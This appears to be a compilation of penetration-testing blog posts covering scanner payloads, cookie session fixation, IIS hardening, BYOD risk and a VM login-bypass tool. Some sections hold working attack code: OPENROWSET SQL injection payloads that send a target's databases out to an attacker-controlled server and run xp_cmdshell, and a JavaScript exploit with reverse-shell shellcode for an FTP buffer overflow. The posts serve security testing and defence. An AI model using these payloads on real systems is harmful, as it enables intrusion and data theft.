In a recent penetration test we came across an interesting situation where nmap could detect an SNMP service running on the target but unicornscan missed it.

To understand what was happening we wiresharked both scans and compared the packets sent by both scanners.

On the left we see the packet sent by unicornscan and on the right the one sent by nmap.

What had happened was that the service running was SNMPv3 and while nmap was sending an SNMPv3 get-request, unicornscan was sending an SNMPv1 get-request which was’t understood/supported by the remote service.

Fortunately, unicornscan is a flexible tool which allows the creation of custom payloads. Creating a payload is as simple as adding the new payload to the configuration file (payloads.conf). By inspecting this file we saw that, as expected, there was an SNMPv1 payload which corresponded exactly to the bytes we saw in wireshark (see selected bytes).

Following this logic, all we had to do was create a payload from the bytes selected in the second capture file. Thus, the new payload looks like this:


/* SNMPv3 payload */
udp 161 161 1 {
"\x30\x3a\x02\x01\x03\x30\x0f\x02\x02\x4a\x69\x02\x03\x00\xff\xe3"
"\x04\x01\x04\x02\x01\x03\x04\x10\x30\x0e\x04\x00\x02\x01\x00\x02"
"\x01\x00\x04\x00\x04\x00\x04\x00\x30\x12\x04\x00\x04\x00\xa0\x0c"
"\x02\x02\x37\xf0\x02\x01\x00\x02\x01\x00\x30\x00"
};

Now, when you run unicornscan it will detect SNMPv3!

A general recommendation and one (of many) ways to protect applications against this type of attacks is to delete the cookie before login to the application and issue a new cookie with a random session token upon successful authentication. However, it often introduces a new issue as cookies with different flags are normally treated as different ones..

First lets have a look at an important part of the RFC for HTTP State Management Mechanism (Cookies):

“Although cookies are serialized linearly in the Cookie header, servers SHOULD NOT rely upon the serialization order.  In particular, if the Cookie header contains two cookies with the same name (e.g., that were set with different Path or Domain attributes), servers SHOULD NOT rely upon the order in which these cookies appear in the header. ” (http://tools.ietf.org/html/rfc6265)

Understandably this is part of the as-designed functionality of cookies.

Well, probably it is still not clear where is the vulnerability.

Let’s explain further:

One would assume that, if a cookie is set with the same name with another cookie, the one set now would overwrite the latter.

The same for deletion, update etc. However, this relies on the browser’s cookie handling as per the above quote and not on the server.

In general the server/application should never assume anything that it is not directly controlled by it.

The problem is that cookies with different flags are considered different, although they might have the same name. This will make most, (if not all) browsers to store them and send them BOTH at every request.

Although which one is send before or after depends on the browser, the weather, the tides and the planetary movements. Therefore, the value received by the application is unpredictable.

So, where is the vulnerability you ask?

If you can’t see it yet you might want to have a look in HTTP parameter pollution.

Two variables with the same name are sent to the server, which one is the one that the server will get? Also what happens if one of them gets validated by the application and then, using a different mechanism (parser etc.) the other one is the one that queries the database?

Let’s consider this scenario:

• The server deletes the (old) session cookie when the user tries to login to the application
• Then issues a new cookie after successful login.
• Additionally in many cases the server only accepts cookies issued by it.

• An attacker now logins to the application and gets a legitimate cookie bound to his session.
• Then he fixes this cookie in the victims browser. (He also makes sure to change the cookie flags)
• Now the victim tries to login to the application.

The attackers (fixed) cookie is sent to the server and the server responds back with a “expire cookie” to delete the old cookie. If this response does not have the same name AND the same flags as the fixed cookie, the browser might not actually delete it

The victim successfully authenticates to the application and a new session cookie is sent

Obviously all of the above will not lead to a session fixation - This heavily depends on how the application binds the session to the cookie and mostly on what it expects!

However, this kind of issue is not uncommon. In this case, the browser in every request will send both cookies. Which one would be read by the application is not certain and therefore this can lead to the application binding the attackers cookie to the victims session.

Then the attacker can use the session cookie to impersonate the victim to the application.

Going back to the RFC “servers SHOULD NOT rely upon the order in which these cookies appear in the header” add to that the general security term “Trust nothing” and you have a solution to the problem.

Addressing the issue:

Each application behaves differently and there is no easy way to make exact suggestions. Generic ones, on the other hand, led us here on the first place.

When a user authenticates and a new session is created, it is wise to destroy the previous session. Additionally, when designing and developing software, do not assume anything out of the applications control actually gets done.

Have no expectations! Do not expect that the received data will have the correct format/structure/form/etc.

Know your environment! Know how the application AND the server handle multiple parameters with the same name.

Be consistent in the way parameters are accesses and verified. Use the exact same mechanism to fetch parameters every time.

Validate all input to ensure it is in the expected and correct format.

This post is part of a methodology used for obtaining *sight* from a stacked based blind SQL injection.

Requirements:

1. Stacked based Blind SQL injection
2. Local MSSQL database server (MSSQL server express was used in this example)
3. Improper remote firewall configuration (allows outbound connections)
4. #include <brain.h>

If all of the requirements above are met then the following technique can be used:

• On the local server create a new database with a table to store the results:
  • CREATE DATABASE output_db;
  • CREATE TABLE output_db..output ( result VARCHAR(MAX) );
  • Lastly, open the ports and change the config for remotely connecting to the database.
• On the remote server test for OPENROWSET  and external connection:
  • ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP;
    uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
    output_db..output) SELECT @@version’)–

This instructs the remote database server to connect to the local database and write the result of the SELECT @@version command. If “SELECT * from output_db..output” returns any results then you are in luck otherwise continue using sqlmap…

Now we can change the “SELECT @@version” part to run any command we want and the results are going to get saved our database.

NOTE:  OPENROWSET needs the destination table to have the same columns as the ones returned by the remote command ans *similar* types to avoid any errors

Copying Databases:

• After you create a new database make a copy of the local sysdatabases and empty it:
  • SELECT TOP 0 * INTO master_copy..sysdatabases from master..sysdatabases;
  • DELETE master_copy..sysdatabases;

• Copy the Remote sysobjects over to master_copy..sysdatabases;
  • ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP;
    uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
    master_copy..sysdatabases;) SELECT * FROM master..sysdatabases;–

• For every returned name create a new database and list tables
  • CREATE DATABASE LOCAL_DB_NAME;
  • CREATE TABLE LOCAL_DB_NAME..tables( names VARCHAR(MAX) );
  • ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP;
    uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
    LOCAL_DB_NAME..tables;) SELECT name FROM REMOTE_DB_NAME..sysobjects WHERE xtype = ‘U’;–

• For every returned table create a new table for to hold the column data
  • CREATE TABLE LOCAL_DB_NAME..columns ( name VARCHAR(MAX), type VARCHAR(MAX) );
  • ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=localhost;uid=sa;pwd=sa’,
    LOCAL_DB_NAME.dbo.columns) SELECT REMOTE_DB_NAME..syscolumns.name,
    TYPE_NAME(REMOTE_DB_NAME..syscolumns.xtype) FROM
    REMOTE_DB_NAME..syscolumns, REMOTE_DB_NAME..sysobjects WHERE
    REMOTE_DB_NAME..syscolumns.id=REMOTE_DB_NAME..sysobjects.id AND
    REMOTE_DB_NAME..sysobjects.name=’sysobj’;

• Now create a new table with the same columns and data types and copy using the same command as above
  • ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP;
    uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
    LOCAL_DB_NAME..TABLE;) SELECT * FROM REMOTE_DB_NAME..TABLE;–
  • Or create a new table with only the columns you need and copy over only those

Advancing:

• Bruteforcing the sa password for command execution is possible with double OPENROWSET. The first OPENROWSET is the connection back to our database, the second OPENROWSET instructs the remote DB to connect to itself as sa run “SELECT @@version” and return the result to us.
  • ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP;
    uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
    output_db..output)
    SELECT * FROM OPENROWSET(’SQLNCLI’,’server=localhost;uid=sa;pwd=PASSWORD‘,’SELECT @@version’)
• Command execution with output of the results (if the sa password is known)
• ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP;
  uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
  output_db..output)
  SELECT * FROM OPENROWSET(’SQLNCLI’,’server=localhost;uid=sa;pwd=PASSWORD‘,
  ’set fmtonly off; exec master..xp_cmdshell ”dir” ; ‘)–

The challenge for many board members is how to ascertain the validity of what they are being told in relation to the health of their defences. What unknown risks are being carried? There is a high risk of false assurance from internal departments reporting up the chain.

What is the state is your business in when it comes to cyber security?

Ask yourself the following questions;

· How effective are my perimeter defences?

· How much business impact can an anonymous attacker cause on my network?

· What is state of health of my internal systems and networks?

· What level of security awareness is held my staff?

· How effective are my IT and security team are at identifying and mitigating an attack?

If you are sure you know the answer and you are happy with it then you are doing well.

Many of the security assessments we are asked to undertake, although providing value, miss the point when it comes to identifying key risks. The reason is that an advanced and sophisticated attacker would not play by the rules set out in a typical test engagement. If I wanted to attack your organisation, I would carefully target your people, compromise their browsers, infiltrate their laptops or workstations, and from there begin to slowly gain a foothold and control of your network. In my 10 years working at the cutting edge of penetration testing, we have performed this testing but a handful of times; however the majority of successful extrusion attacks would use this method.

There is a miss-match therefore – the skills exist to measure organisations resilience to this form of attack method, the majority of successful breaches would use this technique, but penetration tests typically do not cater for this form of scenario.

A realistic attack would take the form of a discrete engagement to identify and quantify key areas of critical risk - We like to call it offensive security; the best form of defence is to know what the enemy are capable of. If you want to know the truth then you need to test combining the following elements;

· Physical – how easy would it be for an individual to gain access one of your premises/gain access to the network/steal a laptop, PDA device or similar (and attempt to extract the data) Can a remote access device be planted and will this go unnoticed?

· Technical– can your systems be penetrated? How effective are your perimeter and internal controls?

· Social – can your people be easily compromised, what level of control over your systems, data and networks can be achieved?

So to ask the question again – how well equipped are you for fending off an advanced and persistent cyber attack?

The advantages for the business are attractive as it allows companies saving money on high priced devices and avoid the responsibility if they are damaged, broken, lost or stolen. Moreover, it allows users to work with the technology of their choice and they feel most comfortable with, which increases productivity and makes the working experience more pleasant.

However, system administrators, network architects and security officers are facing a scenario which was unthinkable just a little time ago: introducing alien untrusted devices in the network and allowing them to connect to business resources.

This is a major challenge.

Up until now IT managers tried to configure the internal systems in a controlled manner whereby a well defined perimeter enforced logical access control on the business resources. Moreover, only authorised devices were allowed to successfully authenticate and gain access to these resources.

Obviously there is no single best line of action to overcome this challenge, as networks, systems and trusting models are different in each company. However, there is one important rule of thumb: Treat the device as if it has been already compromised, with a key-logger and a network sniffer running at all times. After all, chances are that you are right in your assumption.

The decision on how much trust the business should grant to the device depends on the appetite for risk. I would personally be inclined to grant zero trust. However, as every single decision affecting corporate security, a risk assessment should be performed and a decision made.

There are a number of obstacles that need to be overcome in this kind of deployment:

• The deployment of BYOD initiatives are specially challenging due to the fact that businesses have no control on the device and very little means to know whether the integrity of the operating system has been compromised.
• Additionally, system administrators can not enforce business security policies on the user’s devices, such as running applications under a low privileged context, deny installation of potentially dangerous applications, prevent the device from interacting with other devices, etc.
• Another key challenge is that given the scenario where the business requires installing an application on the user’s device, a number of rules should be followed to ensure that the privacy of the user is not compromised. After all, it is a personal device.

There is no magic bullet which will solve all the issues explained above. However, there are a number of approaches which can limit a potential security breach started from the device. Every approach should focus on minimizing the fact that the BYOD device may be compromised and running malicious software.

• Authentication mechanisms should be based on one time passwords. If the device is running a key-logger, the attacker would only get a password which can not be reused.
• Enforce a strict network segregation on the device, where only an intended front-end is accessible and all other traffic is filtered. Limiting the network access from the device will in turn limit the attacker’s vectors of attack to only on system.
• Don’t trust the device at any stage. Don’t store information on it or rely on it at any stage.
• Run a penetration test on the solution. Two approaches should be considered. The first one is from an uninformed perspective, where the attacker has no knowledge of the environment and has not valid credentials to log-on to the network or front-end. The second is from an authorised perspective, emulating the scenario of a compromised device logged-on to the environment or a malicious user.

There are known risks in BYOD initiatives.

• It is certainly possible that the attacker can set up a network tunnel using the device as a pivoting system. Depending on the level of trust from the network perspective, the attacker would be granted network connectivity to a number of systems, which could then be subject of potential attacks.
• Additionally, confidentiality is difficult to preserve, as an attacker could potentially hook the devices browser or operating system, disclosing the information even if it was encrypted in transit.

All in all, security in BYOD projects requires detailed planning which may involve significant architecture changes in the way users access business resources. It is important to understand the risks and challenges, to perform a risk assessment, identify the amount of trust granted to the BYOD devices and deploy a solution which minimizes potential compromises.

These two protocols can be called the target protocol and the carrier protocol. The target protocol is the protocol on the receiving end with which we wish to communicate. The carrier protocol is the protocol that we will use to encapsulate and send the commands and data.

There are a few requirements for communication to be possible:

• The target protocol must be error tolerant. The reason for this is that, since we are communicating through a different carrier protocol, we will be sending some messages that the target protocol won’t understand.
• It must be possible to encapsulate the target protocol in the carrier protocol. Even if the target protocol doesn’t understand all of the messages it receives, it has to understand the important ones.

What can you do with it?
Inter-Protocol Exploitation: use a protocol to attack a service running another protocol. Wade Alcorn researched about this in 2006/2007 (see [1] and [2]).

It is particularly interesting to talk about HTTP as the carrier protocol because attacks can be launched from a web browser and everyone has one! This kind of attack can be used by an attacker to gain access to resources and services that only the victim has access to by making the victim do the “dirty work”.

Newline-based protocols such as SMTP, POP3, IRC and FTP - that use new lines as separators - are affected by this because the lines sent to the target protocol are interpreted one at a time. Add the fact that the target protocol is error tolerant and this makes it possible for the target to simply ignore the lines it doesn’t understand and interpret the lines it does.

To better understand how this works, let’s look at a simple example.

Example 1 : Connecting to FTP through HTTP

It is very easy to make a browser connect to an FTP server with an HTTP POST request. Here’s what the HTML form looks like if the FTP server is on the same machine as the browser:

<form method='POST' action='http://localhost:21' enctype='multipart/form-data'>
<input type='hidden' name='a' value='user secforce'>
<input type='hidden' name='a' value='pass secforce'>
<input type='submit'>
</form>

Supposing that this FTP user and password exist, when this form is submitted you will have logged in to your FTP server. Easy, right?

This is the actual HTTP POST request being sent:

POST / HTTP/1.1
Host: 127.0.0.1:21
User-Agent: Mozilla/5.0 (X11; Debian; Linux x86_32; rv:16.0) Gecko/20110007 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------63079936718166855021600323653
Content-Length: 304

-----------------------------63079936718166855021600323653
Content-Disposition: form-data; name="a"

user secforce
-----------------------------63079936718166855021600323653
Content-Disposition: form-data; name="a"

pass secforce
-----------------------------63079936718166855021600323653--

Here is the reply we receive from the FTP server. All the 50x errors correspond to the HTTP lines the server didn’t understand. The server ignores those and interprets the lines it does understand.

220---------- Welcome to Pure-FTPd [privsep] [TLS] ———-
220-Local time is now 12:41. Server port: 21.
220-This is a private system - No anonymous login
220 You will be disconnected after 15 minutes of inactivity.
530 You aren’t logged in
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
331 User secforce OK. Password required
500 ?
500 ?
500 ?
230 OK. Current directory is /
500 ?

In-band vs out-of-band control
You might notice that not all FTP commands work over HTTP. Commands like MKD/RMD and DEL work whereas GET/PUT, RETR/STOR don’t. The reason for this is that FTP is an out-of-band protocol, meaning it uses separate TCP ports for data and control connections. In fact, if you try to use STOR to upload a file to the server, you will create an empty file with the name you specified. This happens because the file is created before the transfer occurs. All commands that don’t need a separate data connection - that only use the control connection - will work.

Let’s now look at a more interesting example.

Example 2 : Running an FTP exploit through HTTP.

For this example we picked EasyFTP v1.7, an FTP server vulnerable to a buffer overflow on the MKD command. Note that this command only uses the control connection, which makes our life easier! We set up the server in a virtual machine (192.168.1.10) and created the user ‘anonymous’ because for the exploit to work you need to be logged in to the server.

No need to reinvent the wheel so we took a known exploit (see [6]) and crafted a POST request (this time with Javascript) to deliver the shellcode to our FTP server. To send the shellcode we used sendAsBinary as shown by Michele Orru and Ty Miller in RuxCon 2012 (see [4]). Check out their Inter-Protocol Exploitation research with BeEF (see [3]).

Here is our function:

function exploit(){
var url = 'http://192.168.1.10:21'
var intro = 'USER anonymous\r\nPASS anonymous\r\n'
var payload = 'MKD \x89\xe7\x81\xef\x10\xfe\xff\xff\xc7\x07\x13\x57\x7e\xd6\x81\xc7
\x14\xff\xff\xff\xff\xe7\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43
\xba\xae\x16\xd0\x74\xd9\xcc\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x4f
\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x4c\xe3\x2c\x9c\x19\x0c\xcd
\x5d\x79\x84\x28\x6c\xab\xf2\x39\xdd\x7b\x70\x6f\xee\xf0\xd4\x84
\x65\x74\xf1\xab\xce\x32\x27\x85\xcf\xf3\xe7\x49\x13\x92\x9b\x93
\x40\x74\xa5\x5b\x95\x75\xe2\x86\x56\x27\xbb\xcd\xc5\xd7\xc8\x90
\xd5\xd6\x1e\x9f\x66\xa0\x1b\x60\x12\x1a\x25\xb1\x8b\x11\x6d\x29
\xa7\x7d\x4e\x48\x64\x9e\xb2\x03\x01\x54\x40\x92\xc3\xa5\xa9\xa4
\x2b\x69\x94\x08\xa6\x70\xd0\xaf\x59\x07\x2a\xcc\xe4\x1f\xe9\xae
\x32\xaa\xec\x09\xb0\x0c\xd5\xa8\x15\xca\x9e\xa7\xd2\x99\xf9\xab
\xe5\x4e\x72\xd7\x6e\x71\x55\x51\x34\x55\x71\x39\xee\xf4\x20\xe7
\x41\x09\x32\x4f\x3d\xaf\x38\x62\x2a\xc9\x62\xeb\x9f\xe7\x9c\xeb
\xb7\x70\xee\xd9\x18\x2a\x78\x52\xd0\xf4\x7f\x95\xcb\x40\xef\x68
\xf4\xb0\x39\xaf\xa0\xe0\x51\x06\xc9\x6b\xa2\xa7\x1c\x3b\xf2\x07
\xcf\xfb\xa2\xe7\xbf\x93\xa8\xe7\xe0\x83\xd2\x2d\x97\x84\x45\x62
\xb8\x1a\x92\x12\xbb\x1a\x8b\xbe\x32\xfc\xc1\x2e\xec\x41\x40\x00
\x3e\x23\x1f\x17\x95\xa3\xbc\x8a\x72\x33\xca\xb6\x2c\x64\x9b\x09
\x25\xe0\x31\x33\x9f\x16\xc8\xa5\xd8\x92\x17\x16\xe6\x1b\xd5\x22
\xcc\x0b\x23\xaa\x48\x7f\xfb\xfd\x06\x29\xbd\x57\xe9\x83\x17\x0b
\xa3\x43\xe1\x67\x74\x15\xee\xad\x02\xf9\x5f\x18\x53\x06\x6f\xcc
\x53\x7f\x8d\x6c\x9b\xaa\x15\x8c\x7e\x7e\x60\x25\x27\xeb\xc9\x28
\xd8\xc6\x0e\x55\x5b\xe2\xee\xa2\x43\x87\xeb\xef\xc3\x74\x86\x60
\xa6\x7a\x35\x80\xe3'
var req = new XMLHttpRequest();
req.open('POST', url, true);
req.setRequestHeader('Content-Type', 'text/plain');
req.setRequestHeader('Content-Length', '20');
req.sendAsBinary(intro + payload + '\r\n'); // neat way to send hexadecimal code through HTTP
}

As a payload we chose a reverse shell to port 4444 of our host and set up a listener there. We then inserted this javascript code in a webpage and opened it in our host’s browser. Guess what?

Happy days!

How to defend against it?

• Port blocking - By default, most browsers deny connections to several known ports (21/FTP, 25/SMTP, etc). This protection can be overcome by tweaking the browser configuration or by using non-standard ports.
• Less error tolerance - Some protocols close the connection if they receive something they don’t understand. This provides less flexibility but more security against this kind of attack. A better option is to close the connection after a few unrecognized commands.

Conclusion
As mentioned before, this kind of attack has several limitations and requirements. Although there are often easier ways to achieve the same result, under certain circumstances, this can be a valid vector of attack.

More about this

[1] http://www.bindshell.net/papers/ipc.html
[2]http://www.dcs.co.jp/security/NGS_freedownloads/InterProtocolExploitation.pdf
[3] http://blog.beefproject.com/2012/11/revitalizing-inter-protocol.html
[4] http://www.slideshare.net/micheleorru2/rooting-your-internals-exploiting-internal-network-vulns-via-the-browser-using-beef-bind
[5] http://www.remote.org/jochen/sec/hfpa/hfpa.pdf
[6] http://dev.metasploit.com/redmine/projects/framework/repository/
entry/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb
[7] http://privacy-pc.com/news/how-to-hack-facebook-account-3-applying-cross-protocol-scripting-to-attack-victims-network.html
[8] http://en.wikipedia.org/wiki/Inter-protocol_communication
[9] http://en.wikipedia.org/wiki/Inter-protocol_exploit

As a preliminary step it is important to secure the perimeter by implementing a firewalled DMZ zone

In short one must follow the configuration below:

Internet—[firewall]—[DMZ Zone]—[firewall]—Internal Network

The benefit of this configuration is that the web server only has limited access to the internal network.

The external firewall should only allow incoming connections on ports 80 and/or 443(https) but this should be done after the web application is ready for deployment. As a first step the external firewall should not allow any connections.

The internal firewall should allow any connection to any service needed and reject any other connections. Additionally it should only allow incoming connections to be made from the internal network and reject outgoing connections to the internal network to be made.

Another obvious benefit of such configuration is that if the web server gets compromised the internal network will be protected and the “attacker” will not be able to use the webserver to compromise hosts on the internal network.

Moreover having a firewall in place from the start it will make it easier to configure access to the web server later on.

As a general rule every exposed service should be seen as a potential threat, as individual vulnerabilities in services can lead to full compromise of the host.

Having said that the setup of a DMZ is not what this blog post is about but it needs to be stated here.

Installing the server:

In the following post we will try to emulate the scenario of an vulnerable web application and how the web server needs to be configured in order be protected against such applications. For this test case an installation of the latest Microsoft Windows 2012 Core server was done. The reason being that no extra services or additional software will be installed.

Soon after the Core installation is finished, we see the Windows Server 2012 login screen.

After successfully authentication, we are greeted with an Administration terminal, and we install IIS by issuing the script below:

C:\>CMD /C START /w PKGMGR.EXE /l:log.etw /iu:IIS-WebServerRole;IIS-WebServer;IIS-CommonHttpFeatures;IIS-StaticContent;IIS-DefaultDocument;IIS-DirectoryBrowsing;IIS-HttpErrors;IIS-HttpRedirect;IIS-ApplicationDevelopment;IIS-ASP;IIS-CGI;IIS-ISAPIExtensions;IIS-ISAPIFilter;IIS-ServerSideIncludes;IIS-HealthAndDiagnostics;IIS-HttpLogging;IIS-LoggingLibraries;IIS-RequestMonitor;IIS-HttpTracing;IIS-CustomLogging;IIS-ODBCLogging;IIS-Security;IIS-BasicAuthentication;IIS-WindowsAuthentication;IIS-DigestAuthentication;IIS-ClientCertificateMappingAuthentication;IIS-IISCertificateMappingAuthentication;IIS-URLAuthorization;IIS-RequestFiltering;IIS-IPSecurity;IIS-Performance;IIS-HttpCompressionStatic;IIS-HttpCompressionDynamic;IIS-WebServerManagementTools;IIS-ManagementScriptingTools;IIS-IIS6ManagementCompatibility;IIS-Metabase;IIS-WMICompatibility;IIS-LegacyScripts;WAS-WindowsActivationService;WAS-ProcessModel;IIS-ASPNET;IIS-NetFxExtensibility;WAS-NetFxEnvironment;WAS-ConfigurationAPI;IIS-ManagementService;MicrosoftWindowsPowerShell;NetFx2-ServerCore;NetFx2-ServerCore-WOW64

The Initial setup was with .NET and without FTP and WebDAV. In retrospect FTP was needed to upload content and it was installed later on. I must note that the PKGMGR is almost apt-get awesome.

After everything is installed we start PowerShell to manage the server more effectively.

In PowerShell we can enable the IIS features that we want eg.:

$IISFeatures = @(”Web-Asp-Net45″, “Web-Net-Ext”, “Web-ISAPI-Ext”, “Web-ISAPI-Filter”, “Web-Filtering”, “Web-IP-Security”)

Add-WindowsFeature -Name $IISfeatures -logPath “$Env:ComputerName.log” –Source \\Server\Share\sources

Soon after the web server is ready and serving …

However default setup is not what we want. Let’s follow best practices for IIS…

As a general rule of thumb default installations are not considered secure or robust in most software. This means that further steps are needed to secure the web server effectively. A search for “IIS best practice standards” gives us an idea of what needs to be done, as summarized below:

1. Stop Default Web Site
2. Stop Default application pool
3. Each site should use its own associated Application Pool
4. Each site should have Anonymous Authentication configured to use the AppPoolIdentity
5. Web root directory should be on a separate disk
6. Move the log files to the separate disk

1. Stopping default website:

In powershell:

load the WebAdministration module

• PS:\> ipmo WebAdministration

Stop the Default Web Site from Starting on startup

• PS:\> Set-ItemProperty ‘IIS:\Sites\Default Web Site’ ServerAutoStart False

Stop the Default Web Site

• PS:\> Stop-WebSite ‘Default Web Site’

*Optionally: remove the Default Web Site

• PS:\> Remove-WebApplication ‘Default Web Site’

2. Stopping Default application pool:

• PS:\> Stop-WebAppPool DefaultAppPool

3. Each site should use its own associated Application Pool:

Create new website & changed the default web root

• PS:\> New-Item IIS:\Sites\Demo -bindings @{protocol=’http’;bindingInformation=’:80:*’} -PhysicalPath F:\wwwroot\Demo

4. Each site should have Anonymous Authentication configured to use the AppPoolIdentity

• PS:\> set-webconfigurationproperty /system.webServer/security/authentication/anonymousAuthentication -name userName -value “”

5. Fix permissions:

Root folder is at f:\wwwroot

Allow inheritance of read permissions in subfolders and files inside this directory

• F:\>ICACLS <path_to_root> /INHERITANCE:R

Remove users from beeing able to access this directory (Only admins should have full access to the web root folder)

• F:\>ICACLS <path_to_root> /remove Users

Allow read access to the Application Pool on the Web page folder (f:\wwwroot\Demo)

• F:\>ICACLS <path_to_site> /grant “IIS AppPool\<app_pool_name>”:(OI)(CI)R

• C:\> icacls <path_to_site> /grant “IIS APPPOOL\<app_pool_name>”(CI)(OI)(M)

6. Finally, move the log files to the separate disk

• PS:\>Set-ItemProperty IIS:\Sites\Demo -name logfile.directory -value F:\weblogs

This concludes the “following best practices” part of the post. Now it is time to test the configuration. I tend to find that exploiting (as I would normally do) is the most effective way of testing. This process involves identifying the issues and then modifying the configuration to combat those issues.

Let’s exploit us !?!

As a first ster an asp web shell was uploadedl. Obviously this is not something to have on your website but we are trying to emulate a vulnerable web application or a web application with vulnerabilities that could allow a web shell to be uploaded.

The web shell allows us to execute commands. This is not something unexpected major after all it’s a web shell. The first issue identified was that we could read other parts of the file system. As expected (due to permissions above) we cannot write to any part of the filesystem or to the websites folder.

Apparently, it is possible to make a new folder at the disk root directory (eg. f:\temp) that gave full permissions to the Application Pool. Following that it was possible to upload a meterpreter exploit and execute it, to get an interactive shell.

The reason behind this was that the default permissions in the hard disk root gave full access to any User. A very simple mistake but had devastating affects for the web server. Moreover changing the permissions of the hard disk root directory was not suggested anywhere in the standards I was following. Additionally, permissions on the %TEMP% folder should also be reviewed as typically this folder can also be accessed by any user.

Lastly I must add that the exploit was running with restricted user permissions. There are a number of techniques for escalating our privileges, but as Windows Server 2012 is new none of the commonly used ones was successful, at least without rebooting the server. In any case the server is considered exploited.

Identifying & fixing the problems:

Problem #1:

AppPool was not restricted inside the wwwroot\Demo folder and had access to other parts of the file system.

To remove user permissions in the root directories.

• C:\> ICACLS <path_to_drive> /remove Users
• C:\> ICACLS <path_to_drive> /remove Everyone

* For both F: and C: drives

Problem #2

Executing the exploit.

First, to make it more realistic, lets assume the applications has a legitimate upload functionality it is therefore possible to upload a files to the web server. For this an upload folder with read and write permissions was added.

Although we are able to upload the exploit again, the Application Pool had no execution privileges in that folder so it was not possible to run it.

Problem #3

Although we cannot run an exploit, it is possible to upload a web shell and access it through the web server. This could be possible by abusing the upload functionality of any legitimate web application. To combat this we must instruct the server not to run ASP pages/files from within our upload folder.

To remove the functionality:

make a web.config file with the following content:

<?xml version=”1.0″ encoding=”UTF-8″?>

<configuration>

<system.webServer>

<handlers>

<clear />

</handlers>

</system.webServer>

</configuration>

This instructs the server to clear all the file handlers and to not serve any contents. For example the .asp files will not be handled by the ASP engine.

As we can see below even though the webshell is inside the upload folder when trying to access it we receive a 404 file not found error.

Additionally to prevent overwriting of the file from the webshell, since every object inside the upload folder will inherit IIS AppPool\DemoPool write permissions; the web.config permissions should be changed to:

• C:\> ICACLS <path>/web.config /inheritance:r /grant:r “IIS APPPOOL\DemoPool”:R Administrators:F

Famous last words:

As per the above examples, following best practices helps the security of the web server but in many cases this can lead to a dangerous false sense of security. Following any post blindly (this included) is not recommended. Continuously testing and modifying the the configuration untill it reaches the desired state (where the whole configuration as restricted as it can be) is generally a better approach, one which help create a truly secure and robust server.

VMInjector is a tool designed to bypass OS login authentication screens of major operating systems running on VMware Workstation/Player, by using direct memory manipulation.

Description:

VMInjector is a tool which manipulates the memory of VMware guests in order to bypass the operation system authentication screen.

VMware handles the resources allocated to guest operating systems, including RAM memory. VMInjector injects a DLL library into the VMWare process to gain access to the mapped resources. The DLL library works by parsing memory space owned by the VMware process and locating the memory-mapped RAM file, which corresponds to the guest’s RAM image. By manipulating the allocated RAM file and patching the function in charge of the authentication, an attacker gains unauthorised access to the underlying virtual host.

VMInjector can currently bypass locked Windows, Ubuntu and Mac OS X operation systems.

The in-memory patching is non-persistent, and rebooting the guest virtual machine will restore the normal password functionality.

Attacking Scenarios:

VMInjector can be used if the password of a virtual host is forgotten and requires reset.

Most usually, this tool can be used during penetration testing activities, when access to a VMWare host is achieved and the attacker is looking to gain additional access to the guests running in such host.

Requirements:

• Windows machine (with administrative access);
• VMware workstation or player edition;
• A locked guest VM;

Usage:

VMInjector consists of 2 parts:

• The DLL injection application (python script or provided converted executable)
• DLL library (x86 and x64)

The tool supports both x86 and x64 bit architectures by providing both DLLs. One may use his own DLL injector to select the guest virtual machine running on the host.

In order to run the tool, execute the VMInjector (32 or 64) executable provided from the command line as shown in figure 1.

Figure 1: List of running guest machines running.

VMWare runs each guest in a different process. VMInjector needs to be pointed to the process running the guest which requires bypass. Once the user chooses a process, it will inject the DLL into the chosen target.

Once the DLL is injected, the user will need to specify the OS, so that the memory patching can be accomplished, as shown in Figure 2.

Figure 2: Searching for OS signature in memory and patching.

Tool and Source Code:

The tool executable and source code can be found on GitHub (https://github.com/batistam/VMInjector)

Disclaimer:

This tool is for legal purposes only. The code is released under GPLv3 license.

Thanks and references:

I would like to thank Michael Ligh for his valuable research on injecting shellcode into guest virtual machines back in 2006.

I would also like to thank Carsten Maartmann-Moe for is work on Inception, a tool which can unlock locked Windows, Ubuntu and OS X machines by using the IEEE 1394 FireWire trick. This was first showcased by the (now obsolete) winlockpwn tool.

Credits:

Tool coded by Marco Batista

Download:

Please download this tool from GitHub

]]> http://www.secforce.com/blog/2012/11/vminjector/feed/ http://www.secforce.com/blog/2012/11/secforce-presented-at-the-igem-conference/ http://www.secforce.com/blog/2012/11/secforce-presented-at-the-igem-conference/#comments Wed, 14 Nov 2012 10:59:52 +0000 admin http://www.secforce.com/blog/?p=259 The gas and energy sectors face significant challenges in regard to IT security. An evolving industry where reliance on IT systems has become key, being a potential target of terrorism attacks and where high availability and business continuity is a must, IT security shouldn’t be overlooked.

SECFORCE presented the challenges faced by Gas and Energy corporations in the IGEM annual conference:

http://www.igem.org.uk/news-events/annual-conference-2012.aspx

